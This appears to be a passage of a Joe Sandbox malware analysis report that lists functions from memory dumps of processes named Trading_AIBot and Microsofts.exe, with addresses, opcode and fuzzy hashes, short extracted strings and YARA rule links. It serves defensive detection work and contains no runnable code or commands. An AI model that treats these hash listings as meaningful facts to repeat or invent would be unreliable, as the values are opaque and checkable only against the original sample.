Instruction Fuzzy Hash: 5161D435D01218CFDB15EFA4D990AADBBB2FF89304F6085A9D405BB3A4DB31A949CF40

Function 02B07188 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa22fa87ed31e810503814f7b2cf6240e8ee52d94a1145921326680618d541bb
Instruction ID: bb41dcd6e9b99dd888ce18e8f8c860cd33bcde4fe555f1aee274ad1498005372
Opcode Fuzzy Hash: aa22fa87ed31e810503814f7b2cf6240e8ee52d94a1145921326680618d541bb
Instruction Fuzzy Hash: 8961B274A40208CFDB44DFA8D594A9DBBB2FF89314F1091A9E805AB3A5DB30AC46CF14

Function 02B07E58 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcc2fc03a7bbc4c11775b7199c0a6be8f074fc459a168686e0e83f540428f097
Instruction ID: d582c7cd870da2173ce98d925bfb6a3c990d954dcc2452ab9a6ea62d6f90368a
Opcode Fuzzy Hash: fcc2fc03a7bbc4c11775b7199c0a6be8f074fc459a168686e0e83f540428f097
Instruction Fuzzy Hash: 0141CFB0D002889FDB01CFE9D984ADEFFB6BF48304F14846AE419AB254DB74A945CF54

Function 02B07E60 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fac0b0c50fdecfca71bb997f555171bbda0da43949feaa81bf001d82e513d26
Instruction ID: 4d0889b50a59dd3991cad159ed287f6542a9c03757ca2c5b68ad9e0b0f837d7b
Opcode Fuzzy Hash: 3fac0b0c50fdecfca71bb997f555171bbda0da43949feaa81bf001d82e513d26
Instruction Fuzzy Hash: 3541CCB0D00288DFDB01CFAAC984ADEFFB6BF48304F14806AE419AB254DB74A945CF54

Function 02B073F8 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Jcr, xrefs: 02B07519

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID: Jcr
API String ID: 0-2794004756
Opcode ID: 844b29fa56867d625ef075fd72cc6283be64682d1a9475f49fa7814f46bf6d64
Instruction ID: 8eb46aa748eb103585008fe606ea50d250ba325bbf58646c53276878b0cc1177
Opcode Fuzzy Hash: 844b29fa56867d625ef075fd72cc6283be64682d1a9475f49fa7814f46bf6d64
Instruction Fuzzy Hash: 8B41D375E002089FDB08DFA8D594AEEBBF2BF89301F108469E515B73A0DB35A941CF50

Function 02B07408 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

Jcr, xrefs: 02B07519

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID: Jcr
API String ID: 0-2794004756
Opcode ID: b2f1d6ab0f6de41fe4329378c818c74aaddba17187471d8291bf16252dfdff3d
Instruction ID: 8b01092ae6967004e82265551e6e674a41df90c5dd5b23bd873e30ac290cdc81
Opcode Fuzzy Hash: b2f1d6ab0f6de41fe4329378c818c74aaddba17187471d8291bf16252dfdff3d
Instruction Fuzzy Hash: 8441E475E002089FDB08DFA8D594AEEBBF2BF89301F108069E515B73A0DB35A901CF90

Function 02B05348 Relevance: .9, Instructions: 941COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 255e52c4ed22f4e1c1269a1a9f1abf5987b20b746fca7f361b5ab7cf585f3c07
Instruction ID: 948e03b5130d206e3cda2b3df986967becd9600907b30e7c41394b939ee6cc4b
Opcode Fuzzy Hash: 255e52c4ed22f4e1c1269a1a9f1abf5987b20b746fca7f361b5ab7cf585f3c07
Instruction Fuzzy Hash: 51B29D70D112289FDB69EF68C894B9DBBB2BF49304F5085E9D409A73A4DB316E81CF41

Function 02B05358 Relevance: .9, Instructions: 935COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cba75a1e414a439d4a223be99b243f8b247e3ec647e3295ed08a13a0c34bb76
Instruction ID: 8b568af344c52cfc1d7ea8d81bf4c0d578af1c90f164a4a2df210a9cc20a28cb
Opcode Fuzzy Hash: 5cba75a1e414a439d4a223be99b243f8b247e3ec647e3295ed08a13a0c34bb76
Instruction Fuzzy Hash: C9B29D70D112289FDB69EF68C894B9DBBB2BF49304F5085E9D409A73A4DB316E81CF41

Function 02B00839 Relevance: .6, Instructions: 603COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ea2a4167c0be032de49d904e1674cc7239d32ba0c9a10e54fd5e81d0b241d4
Instruction ID: 58d41125f492cbce27f9a4e6cf4f3b462c6c9beda68f435b2beb62f227797831
Opcode Fuzzy Hash: 22ea2a4167c0be032de49d904e1674cc7239d32ba0c9a10e54fd5e81d0b241d4
Instruction Fuzzy Hash: 0F629B74E01228CFDB64EF68D994B9DBBB2BF89305F1084A9D409A7364DB359E81CF41

Function 02B00848 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0edc66011471c2c4c0eefe405e9d7ddcb7cc67a0f032a64d4a225f4f96cfbc5
Instruction ID: b447757c869a8757821c863392c026ae7869a3f6b5b12c4435d91e93e8c65298
Opcode Fuzzy Hash: f0edc66011471c2c4c0eefe405e9d7ddcb7cc67a0f032a64d4a225f4f96cfbc5
Instruction Fuzzy Hash: 9F629A74E01228CFDB64EF68D994B9DBBB2BF89305F1084A9D409A7364DB359E81CF41

Function 02B07A79 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2add62498bfc0ca075e700888fd9f977c3cc0dfae671918fed2a60f0c8815d7e
Instruction ID: 851e8c3c359809bd8cb247af70feda762b7e45a42d9738d25c3a3a335a36885b
Opcode Fuzzy Hash: 2add62498bfc0ca075e700888fd9f977c3cc0dfae671918fed2a60f0c8815d7e
Instruction Fuzzy Hash: DD41E0B0D012889FDB11DFA9D884ADEFFF5AF49300F14846AE404AB2A4CB74A985CF50

Function 02B07099 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836d336856dd677ff62d95e132120fb5719d3c6d617f98a193b737ec8d38d7e6
Instruction ID: 735c5714346aec6c91043909f352039b6d7d09430fd5be5ff7af551ff1d10aec
Opcode Fuzzy Hash: 836d336856dd677ff62d95e132120fb5719d3c6d617f98a193b737ec8d38d7e6
Instruction Fuzzy Hash: 5B51E574A40248CFDB45DFA8D994A9DBBB2FF8D314F1090A9E405AB3A5DB30AC06CF14

Function 02B067F0 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb2d36306b4130fa54926f2020e246f11b4f2534a5be9cd2e762b0c1396ee4b
Instruction ID: 13182d13e97597b35a91d3ca0914cfa94cb7a9271ca33ab1fd3abb924409e7fe
Opcode Fuzzy Hash: 2fb2d36306b4130fa54926f2020e246f11b4f2534a5be9cd2e762b0c1396ee4b
Instruction Fuzzy Hash: 77B19B74A012288FDB64DF68C994B9DBBB2BF49304F1085EAD40DA7394DB70AE85CF51

Function 02B065C0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e46343c6f3259e4cfb185209fbf5de7783d65fc49835dad24c92145c09d6fe
Instruction ID: 8a09b1b087fb8b1148eac44e888d763333957ff5bdb8d645e1f0fec0a74af981
Opcode Fuzzy Hash: 68e46343c6f3259e4cfb185209fbf5de7783d65fc49835dad24c92145c09d6fe
Instruction Fuzzy Hash: 3441CC78D04208CFDB15DFE9E4986ECBBF5AB49304F14806AE829AB394DB346942CF50

Function 02B07D10 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed5befaf4e67ebc4d69f70d054f501259387b519b77c3e4fc163a1bdd7bb00cb
Instruction ID: 487f28a7a81d7ea992731c7655a029194c0cda27b9bb7ba860c249588da67822
Opcode Fuzzy Hash: ed5befaf4e67ebc4d69f70d054f501259387b519b77c3e4fc163a1bdd7bb00cb
Instruction Fuzzy Hash: A041D1B0D012489FDB15DFAAD584ADEFFF5AF48304F14806AE414AB294DB74A985CF50

Function 02B077FE Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 186b5e446dabfb7ab6ba002d5a92384f7c4006399ccd71b159c77d266002e990
Instruction ID: 64e7ee7a5b6e38b9bb44a256d47719eece3e04efdf94d2cb8a3b659646bb36be
Opcode Fuzzy Hash: 186b5e446dabfb7ab6ba002d5a92384f7c4006399ccd71b159c77d266002e990
Instruction Fuzzy Hash: A031D275E012098FCB09DBB8C591AEEBBB2AF89304F1098A9D41577394DB35AE41CF60

Function 02B07810 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f6c93a2f7bd9dd6534a708c0864c876c829d9044fee0c375935cfc1e0e43a5
Instruction ID: fb67d54d2f40879e679f6ee87525df17e67bf03f0823814423ab6638b55eee18
Opcode Fuzzy Hash: e3f6c93a2f7bd9dd6534a708c0864c876c829d9044fee0c375935cfc1e0e43a5
Instruction Fuzzy Hash: 9321C035E012098BCB08DBB9C590AEEBBB2AF89304F5094A9D41577394DB36AD41CFA4

Function 02B051F7 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1f4ad2126aa049c6bf7c25eecaa99b0429bbb397134cc273b4aa6503a9a1d6
Instruction ID: 72cd5a4ee37bd7f2046395517d030a301b0cc0d181fc346e7218b3b621ae9d65
Opcode Fuzzy Hash: cd1f4ad2126aa049c6bf7c25eecaa99b0429bbb397134cc273b4aa6503a9a1d6
Instruction Fuzzy Hash: A2219D71C052458FE701AFB4D9993AE7FB0FB0A305F4458E6C095A7191DB784686CF91

Function 02B05238 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc53d51e06836c60ef83a2445baf03a5a600d8a2c4a21a88296869b5d85924af
Instruction ID: c6a4aac984395dac79a6d0355a5c32e77f353ebb08641307f94c4bcc49d1a625
Opcode Fuzzy Hash: dc53d51e06836c60ef83a2445baf03a5a600d8a2c4a21a88296869b5d85924af
Instruction Fuzzy Hash: 05010470C51219DFEB04AFB4D5583AEBFB0EB0A306F5498AA9455A32C0DB784684CF91

Function 02B06C3E Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf5c6cd02d46b644ecc1b5209ad65767f55e48e1d84f43cba174a758eb62a1b
Instruction ID: 6a6e1efb793ffb5e7dbc8f587b14a572e516f3040eb7ce0e4b1cb80fd77f8d57
Opcode Fuzzy Hash: dbf5c6cd02d46b644ecc1b5209ad65767f55e48e1d84f43cba174a758eb62a1b
Instruction Fuzzy Hash: 81F0F875D002558FDB64DFA4E4986ACBFB0EF5A312F0064A6E409A32A0CB309995CF24

Function 02B073A0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa48ac9b4bfb28b24e7a053e0ee774abf0aa47a7ec3ea51ecfee5eaf981b89fb
Instruction ID: e0fbead69714a7a78818ac595fb1c9bf756b20e2977bf3b1621c737c2246bb6d
Opcode Fuzzy Hash: aa48ac9b4bfb28b24e7a053e0ee774abf0aa47a7ec3ea51ecfee5eaf981b89fb
Instruction Fuzzy Hash: 22F0E576900204DFD700EFB8D849B6DBFB4FB09705F504199E848E3361EB309981CB80

Function 02B06757 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92abed16cd5f5dbe7617219e3bf1da9c38e74e1b220a423af3dea2de351ef42e
Instruction ID: d99cc9caae4e97883dbecd73047493b8f118ade2c13425d8f9abba3f739314be
Opcode Fuzzy Hash: 92abed16cd5f5dbe7617219e3bf1da9c38e74e1b220a423af3dea2de351ef42e
Instruction Fuzzy Hash: 7CE02271905288DFEB02EFB4DA156DDBFB4EB16204F0048EAE849A3280DF301F44CB92

Function 02B073B0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35dc724902f7e7d70546c0c914650ef698a0943656dfc06e5e6463fb2c7d1f4
Instruction ID: 91fda071f3e9c6d7182782e3353d0253d5c5f999b97ed03b18579e99d0ef0cad
Opcode Fuzzy Hash: d35dc724902f7e7d70546c0c914650ef698a0943656dfc06e5e6463fb2c7d1f4
Instruction Fuzzy Hash: 15E01A75910208DFD744EFB8E888A59BBB4FB09705F5041A9E809A33A4EB30A985CB90

Function 02B06768 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b714bcb3db38bd33b7c210e15323799cbee16860e73681e97cb7249e9714c9c1
Instruction ID: 6fbfbb19c0e1d63eecbb3f49108e5612d3095308aa7e50fd2e171002bae0c65e
Opcode Fuzzy Hash: b714bcb3db38bd33b7c210e15323799cbee16860e73681e97cb7249e9714c9c1
Instruction Fuzzy Hash: 08E08671941208DFEB00EFB5D645A9DB7B5EB05304F5088A9D409B3254DF751E04CB91

Function 02B07548 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7876b1afd0204c8e054d463a770f03125f0725252e41d77169bd69b0621cdfb
Instruction ID: a2461855330d4856f88c8687a051a08f4f70c6b750d5874dcec302d76e8646f6
Opcode Fuzzy Hash: e7876b1afd0204c8e054d463a770f03125f0725252e41d77169bd69b0621cdfb
Instruction Fuzzy Hash: 63D05E72904344AFEB01DBB5A80A7AABF78E703741F4408D9E44872242EF659555C695

Function 02B06D40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df26d7239822d9dcc74bc8b2f01780e93685845d192b031cc60e177fe7ce6f4d
Instruction ID: 6b5d5aceedfa927294917711db4e4b38e6c88edb6e161c19e51874621d93f6fd
Opcode Fuzzy Hash: df26d7239822d9dcc74bc8b2f01780e93685845d192b031cc60e177fe7ce6f4d
Instruction Fuzzy Hash: 3FD05E628042855FE245ABA4A905755BF78E71220AF0805A8E44872146DB65819086D5

Function 02B07558 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7fa67665a6677520baa165ce476fd662c6c85ea44af2f346187e1a519ae228
Instruction ID: 792d766e7109d421a0d6a8cd89557af25524d7ea9a5940b3466d285cb2331e23
Opcode Fuzzy Hash: 5b7fa67665a6677520baa165ce476fd662c6c85ea44af2f346187e1a519ae228
Instruction Fuzzy Hash: 2BC01270D113089FE600DAA4E805759FA6CF706706F400595A408632809F715450C695

Function 02B06D50 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b056ca77a1394981c4bb99b0f46e05ff4134309018f0e0e731723c3a5c28ecba
Instruction ID: f782c2a75e59f91f33ef07f21dec83df2c097369fb5e066b93775a17d01b533c
Opcode Fuzzy Hash: b056ca77a1394981c4bb99b0f46e05ff4134309018f0e0e731723c3a5c28ecba
Instruction Fuzzy Hash: 66C012308012489BE614AB95A405B15BB6CE706306F0001A9E50862144DB71449086A5

Analysis Process: Microsofts.exePID: 4824, Parent PID: 5464COMMON

Execution Graph

Execution Coverage:	14.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	57
Total number of Limit Nodes:	8

Executed Functions

Function 00EAC130 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 00EAF510

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: b7e91a5b818d64f605743294a549fe4644ee7991b92d1e3a602d134485eabdde
Instruction ID: ac3e53ffa2898df2348ab44e51b48ca049babaaa3b46e21d85ed81f9170445db
Opcode Fuzzy Hash: b7e91a5b818d64f605743294a549fe4644ee7991b92d1e3a602d134485eabdde
Instruction Fuzzy Hash: 3F73F631C10B5A8EDB11EF68C844A99F7B1FF99300F51D69AE4597B221EB70AAC4CF41

Function 052107C8 Relevance: 3.5, APIs: 2, Instructions: 529
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05210A80

Memory Dump Source

Source File: 00000006.00000002.24195607328.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5210000_Microsofts.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2142ce2756f1c8c58a3d3e80cd1fcf3de3750f747584e94cf2702e4aa61542d4
Instruction ID: 8aee618173e07bd74201953ff6c27f88f8bbec937ca4270c38b48723f0ce8ee7
Opcode Fuzzy Hash: 2142ce2756f1c8c58a3d3e80cd1fcf3de3750f747584e94cf2702e4aa61542d4
Instruction Fuzzy Hash: D4224B70E112198FDB14DFA9C884B9EBBF2BF88304F1481A9D809AB355DB349D85CF94

Function 052109E8 Relevance: 1.6, APIs: 1, Instructions: 88libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05210A80

Memory Dump Source

Source File: 00000006.00000002.24195607328.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5210000_Microsofts.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fc1da86d000f76d0e4180b843d3e0fd91d4c82eeb572a82135540ea504e71204
Instruction ID: 2a334c0a50cda1b55c11573a95f7d55bd8544883ca8f10eb38d1829efbf34623
Opcode Fuzzy Hash: fc1da86d000f76d0e4180b843d3e0fd91d4c82eeb572a82135540ea504e71204
Instruction Fuzzy Hash: 29311871D116189BEB18CFAAD9887DEFBF2BF89314F14C12AD418B72A4DB700545CB14

Function 00EA9480 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4a304bfbe271239f99127b4761c69532ae29d5c713a268d7eb142258a097f8
Instruction ID: c47b82ecb5c5538d66eb15b14c8daa4b4c0ed6594c3918fdf2d5412d436c9a56
Opcode Fuzzy Hash: 6a4a304bfbe271239f99127b4761c69532ae29d5c713a268d7eb142258a097f8
Instruction Fuzzy Hash: 1AC1B178E00218CFDB54DFA5D944B9DBBB2BF89304F2085AAD809AB355DB359E85CF10

Function 00EA9A30 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a691d001b2d8de2ac1e08ac8af5236baa1ce1ea59d9e959659202d9c26d43f5e
Instruction ID: f8a50091ae2024eaf9b95e486950b2ac17c4f5defab4c8de1817a112e51ff4a5
Opcode Fuzzy Hash: a691d001b2d8de2ac1e08ac8af5236baa1ce1ea59d9e959659202d9c26d43f5e
Instruction Fuzzy Hash: 57A11474D00608CFEB14DFA9C944BDDBBB1FF89304F209269E409AB2A6DB749984CF55

Function 00EA9D87 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032a27230364fd0a73ff511496abdce0391d1fd3050e8c61d2fd459f61f11014
Instruction ID: 0f5e9c6806f17b19c95c61ccaa192833b1d1a11bf67812a10140238bd382428a
Opcode Fuzzy Hash: 032a27230364fd0a73ff511496abdce0391d1fd3050e8c61d2fd459f61f11014
Instruction Fuzzy Hash: A191E174D00608CFEB14DFA8C548B9DBBF1BF89315F209269E409AB292DB75A984CF14

Function 00EA946F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b137e6bf35d6688438b7cd29de323f782e9702ab46ef062220eba22b86c60f4
Instruction ID: eca3cef76caaaf8271a73cc51126833d78d08bc45b00119421ec18879353e5cd
Opcode Fuzzy Hash: 4b137e6bf35d6688438b7cd29de323f782e9702ab46ef062220eba22b86c60f4
Instruction Fuzzy Hash: 6441E174E00208CBEB18CFAAD95469EFBF2BF89304F24D12AD815BB259EB345945CF50

Function 00EAB100 Relevance: 6.6, Strings: 5, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H`r, xrefs: 00EAB2EA
TJar, xrefs: 00EAB57A
8ar, xrefs: 00EAB541
H`r, xrefs: 00EAB349
H`r, xrefs: 00EAB14E

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: 8ar$H`r$H`r$H`r$TJar
API String ID: 0-1811950289
Opcode ID: 9d2d55eb4891ff86e77b4649e7425ad0086330258b9729f113ca36a5d511f232
Instruction ID: 64308fec62bd27080c003036a5aecd8e1dcc3a794b73478f420e1bf8b6eaf05d
Opcode Fuzzy Hash: 9d2d55eb4891ff86e77b4649e7425ad0086330258b9729f113ca36a5d511f232
Instruction Fuzzy Hash: 16D1E571B002048FDB15DB68D451BAE7BB2EF8E320F245166E505EF3A2DB35ED418BA1

Function 00EA3F78 Relevance: 6.4, Strings: 5, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj?q, xrefs: 00EA4088
PH\r, xrefs: 00EA40F2
PH\r, xrefs: 00EA40E1
Lj?q, xrefs: 00EA4078
0o?q, xrefs: 00EA3FDA

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

